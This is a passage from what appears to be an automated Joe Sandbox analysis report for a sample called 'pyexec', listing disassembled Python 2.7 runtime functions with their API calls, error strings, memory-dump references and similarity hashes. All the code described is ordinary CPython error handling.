                                                                                                                                                                    • API String ID: 939530772-2793022148
                                                                                                                                                                    • Opcode ID: 90656fb58788a692682405883d0b7b0be084f3961f2ec7674aa80a26a6ec81dd
                                                                                                                                                                    • Instruction ID: e56c19d830d9e540096df00ad6e1c090f155111a6bb7f23396f7540a8ad4d6be
                                                                                                                                                                    • Opcode Fuzzy Hash: 90656fb58788a692682405883d0b7b0be084f3961f2ec7674aa80a26a6ec81dd
                                                                                                                                                                    • Instruction Fuzzy Hash: FEF062755003059FDF00DB60D885B6637F9AB48328F108799FD1D8B382DB36D896DA65
                                                                                                                                                                    Function 67099710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\cellobject.c,00000024), ref: 67099734
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\cellobject.c, xrefs: 67099729
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 6709972E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\cellobject.c
                                                                                                                                                                    • API String ID: 376477240-3279096532
                                                                                                                                                                    • Opcode ID: 7d29b0beef0ea78b87e5696a1cdad0889e3d62992f61bc6873fc9c58812498ed
                                                                                                                                                                    • Instruction ID: 8d6fb304a2dbd50bf9a3976f024a88b71e7aeb80a0c924fab045e9d7cdfd0fa8
                                                                                                                                                                    • Opcode Fuzzy Hash: 7d29b0beef0ea78b87e5696a1cdad0889e3d62992f61bc6873fc9c58812498ed
                                                                                                                                                                    • Instruction Fuzzy Hash: 8CF0F074A102059FD700CE64CC45A25F3A8FB49234B2487AAEC3C8B6D2DB31D881D7E2
                                                                                                                                                                    Function 670195C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyFloat_AsDouble.PYTHON27(?), ref: 670195CD
                                                                                                                                                                      • Part of subcall function 670B0B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,670A0CAA,?,?,?,?), ref: 670B0B90
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 67019600
                                                                                                                                                                    Strings
                                                                                                                                                                    • required argument is not a float, xrefs: 670195FA
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DoubleErr_Float_StringSubtypeType_
                                                                                                                                                                    • String ID: required argument is not a float
                                                                                                                                                                    • API String ID: 4162100309-2628405891
                                                                                                                                                                    • Opcode ID: 6a35b4dff917fa2c0e55e6f60293dc77cf051872e617798159cf199e166a7ed9
                                                                                                                                                                    • Instruction ID: a63b019c6f1af257f1e9fa3611a2e6dfe417b83ee3515690dca50f0c89afc04c
                                                                                                                                                                    • Opcode Fuzzy Hash: 6a35b4dff917fa2c0e55e6f60293dc77cf051872e617798159cf199e166a7ed9
                                                                                                                                                                    • Instruction Fuzzy Hash: BDF02BB45281048BC700DF68D949B1537E9AB8A328F008398FE6C473C0D735D920D796
                                                                                                                                                                    Function 67019560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyFloat_AsDouble.PYTHON27(?), ref: 67019568
                                                                                                                                                                      • Part of subcall function 670B0B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,670A0CAA,?,?,?,?), ref: 670B0B90
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 6701959B
                                                                                                                                                                    Strings
                                                                                                                                                                    • required argument is not a float, xrefs: 67019595
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DoubleErr_Float_StringSubtypeType_
                                                                                                                                                                    • String ID: required argument is not a float
                                                                                                                                                                    • API String ID: 4162100309-2628405891
                                                                                                                                                                    • Opcode ID: a28a3b6dea5977db96da654ed2ca369b92358c8642c48e4712876819baa6b166
                                                                                                                                                                    • Instruction ID: 3d750f9992651df3eb1392e16b1738c359480dbaa1f0f48b2330179f1e5d9f2d
                                                                                                                                                                    • Opcode Fuzzy Hash: a28a3b6dea5977db96da654ed2ca369b92358c8642c48e4712876819baa6b166
                                                                                                                                                                    • Instruction Fuzzy Hash: C7F08974524108EFCB04CF94DA59B5937A9EB8A318F504394EA1C57380D736DD21DB59
                                                                                                                                                                    Function 670D8760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,000001AA,?,67007AC3,?,00000001,7FFFFFFF), ref: 670D87A4
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 670D8799
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670D879E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
                                                                                                                                                                    • API String ID: 376477240-1285866127
                                                                                                                                                                    • Opcode ID: 7a3a988fd6f6d6694495141e951c534f1d673a47ba6389cdfeeed816db3a8c5e
                                                                                                                                                                    • Instruction ID: 9defd03377d7ca02461f8736261c1a46acb4748e47fa81697e57a1c845b36c51
                                                                                                                                                                    • Opcode Fuzzy Hash: 7a3a988fd6f6d6694495141e951c534f1d673a47ba6389cdfeeed816db3a8c5e
                                                                                                                                                                    • Instruction Fuzzy Hash: B9E0A7756003081BD714DE50DC4AF663358E745618F048249FC2C472C4E731E85096E2
                                                                                                                                                                    Function 670BA400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000002CB), ref: 670BA42B
                                                                                                                                                                    Strings
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670BA425
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670BA420
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
                                                                                                                                                                    • API String ID: 376477240-2051030382
                                                                                                                                                                    • Opcode ID: d328f6fd7679f038264cb8a20802a7a6b63dcbfdb7550715041ee179186a16c1
                                                                                                                                                                    • Instruction ID: 30e332ff4b373efba07637bb51a45f2ca13296610cac70ebb2c4f48d0ccba03e
                                                                                                                                                                    • Opcode Fuzzy Hash: d328f6fd7679f038264cb8a20802a7a6b63dcbfdb7550715041ee179186a16c1
                                                                                                                                                                    • Instruction Fuzzy Hash: 3EF0A7B5A102086BD710DE64DD5AD7A3399EB89724F10478CFD3C4B2C1D631D91197E5
                                                                                                                                                                    Function 670B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000001F0), ref: 670B9E9B
                                                                                                                                                                    Strings
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B9E95
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B9E90
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
                                                                                                                                                                    • API String ID: 376477240-2051030382
                                                                                                                                                                    • Opcode ID: cf81901ef6ceaa60dcde42a05f9e5b52f4b96fad3d8e2a74717aee47917ecc83
                                                                                                                                                                    • Instruction ID: 003b99a57f3a487ba889592e9944511ca7fa15e5337127c195e8db0f96f39ed1
                                                                                                                                                                    • Opcode Fuzzy Hash: cf81901ef6ceaa60dcde42a05f9e5b52f4b96fad3d8e2a74717aee47917ecc83
                                                                                                                                                                    • Instruction Fuzzy Hash: F6E02BB5A542086FD710DEA0DC4BE763358D789618F004389FD2C4B281EA32E91097E1
                                                                                                                                                                    Function 67007520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(00000000,?), ref: 6700752F
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,unknown dialect), ref: 67007553
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_Err_FormatItem
                                                                                                                                                                    • String ID: unknown dialect
                                                                                                                                                                    • API String ID: 3923838959-3850176341
                                                                                                                                                                    • Opcode ID: 0de6225fe3d61ecb6fad8a19b2198866b12b41cf598931d8124c283e02b367e5
                                                                                                                                                                    • Instruction ID: f79829e953168b39f62debdd81e811c434bb31e942cd73659c64dec4366649fb
                                                                                                                                                                    • Opcode Fuzzy Hash: 0de6225fe3d61ecb6fad8a19b2198866b12b41cf598931d8124c283e02b367e5
                                                                                                                                                                    • Instruction Fuzzy Hash: A8E04872A0012497CB10D698E9469DA73A9EB4DABAB400126FE0C97701D739DC80C7E5
                                                                                                                                                                    Function 670B97C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000122), ref: 670B97FF
                                                                                                                                                                      • Part of subcall function 670B9770: PyErr_SetString.PYTHON27(672463F8,cannot add more objects to list,00000000,00000000,?,670BA6DB,00000000), ref: 670B978D
                                                                                                                                                                    Strings
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B97F9
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B97F4
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatString
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
                                                                                                                                                                    • API String ID: 4212644371-2051030382
                                                                                                                                                                    • Opcode ID: 7e1d31638cab74ad7cace609785dfdafcb9d5c5760e94d4374763db38cfd5d85
                                                                                                                                                                    • Instruction ID: 59f22236b1bf125bf99a2c8205ef06cb6d2351893ccef1ac90f42936e2dfaafe
                                                                                                                                                                    • Opcode Fuzzy Hash: 7e1d31638cab74ad7cace609785dfdafcb9d5c5760e94d4374763db38cfd5d85
                                                                                                                                                                    • Instruction Fuzzy Hash: 07E09B7565020867D724DE649C47F693399DB55624F10438DFD3C4B2C2D636D910D6E2
                                                                                                                                                                    Function 670B9720 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000103), ref: 670B974B
                                                                                                                                                                    Strings
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B9745
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B9740
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
                                                                                                                                                                    • API String ID: 376477240-2051030382
                                                                                                                                                                    • Opcode ID: 69dc70f4c752aee745df0b624eb530c09d2acee307797fe4b1346b3d0220229b
                                                                                                                                                                    • Instruction ID: 08d8017cb07bb24b8164a187379e799ee224e2bfee4085f588d8c41083993960
                                                                                                                                                                    • Opcode Fuzzy Hash: 69dc70f4c752aee745df0b624eb530c09d2acee307797fe4b1346b3d0220229b
                                                                                                                                                                    • Instruction Fuzzy Hash: 51E09BB5A502086BD710DE64DC56D553354D75A728F104789FD3C4B2C1D632DA5097E2
                                                                                                                                                                    Function 670A67C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006E7), ref: 670A67FC
                                                                                                                                                                      • Part of subcall function 670A5BA0: PyList_New.PYTHON27(?,?,?,?,670A67DF,?), ref: 670A5BAC
                                                                                                                                                                      • Part of subcall function 670A5BA0: PyList_New.PYTHON27(?), ref: 670A5BD2
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\dictobject.c, xrefs: 670A67F1
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670A67F6
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: List_$Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
                                                                                                                                                                    • API String ID: 817396481-1541589624
                                                                                                                                                                    • Opcode ID: c125f3c61f17fbb35d0bbcfc48c0f59eb4749a8fa48307088616e9f394a12974
                                                                                                                                                                    • Instruction ID: d9e25a43087c7040a736dd8184eee175f7892d6e951c787da7ffee7c38c29fd4
                                                                                                                                                                    • Opcode Fuzzy Hash: c125f3c61f17fbb35d0bbcfc48c0f59eb4749a8fa48307088616e9f394a12974
                                                                                                                                                                    • Instruction Fuzzy Hash: 47E0D8B5A242081BE710DEA49D87F6A3398D749558F040399FD2C87182FA16D460D6E2
                                                                                                                                                                    Function 670996C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\cellobject.c,00000018), ref: 670996E4
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\cellobject.c, xrefs: 670996D9
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670996DE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\cellobject.c
                                                                                                                                                                    • API String ID: 376477240-3279096532
                                                                                                                                                                    • Opcode ID: 6839626d4d84d8f1563108a522422a9fd92e0ca274996615ff06e3e34d264e4a
                                                                                                                                                                    • Instruction ID: 6090ad929964f3c9cb6af659ea142adb867c43d17dbf9835a95ec21dbbae4b58
                                                                                                                                                                    • Opcode Fuzzy Hash: 6839626d4d84d8f1563108a522422a9fd92e0ca274996615ff06e3e34d264e4a
                                                                                                                                                                    • Instruction Fuzzy Hash: B2E0927051010C9FC300D948D896B6073A4E70E319F14869AFC2C8B282EB33E992DB91
                                                                                                                                                                    Function 670A6770 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD,?,6709AC0A,?), ref: 670A67A6
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\dictobject.c, xrefs: 670A679B
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670A67A0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
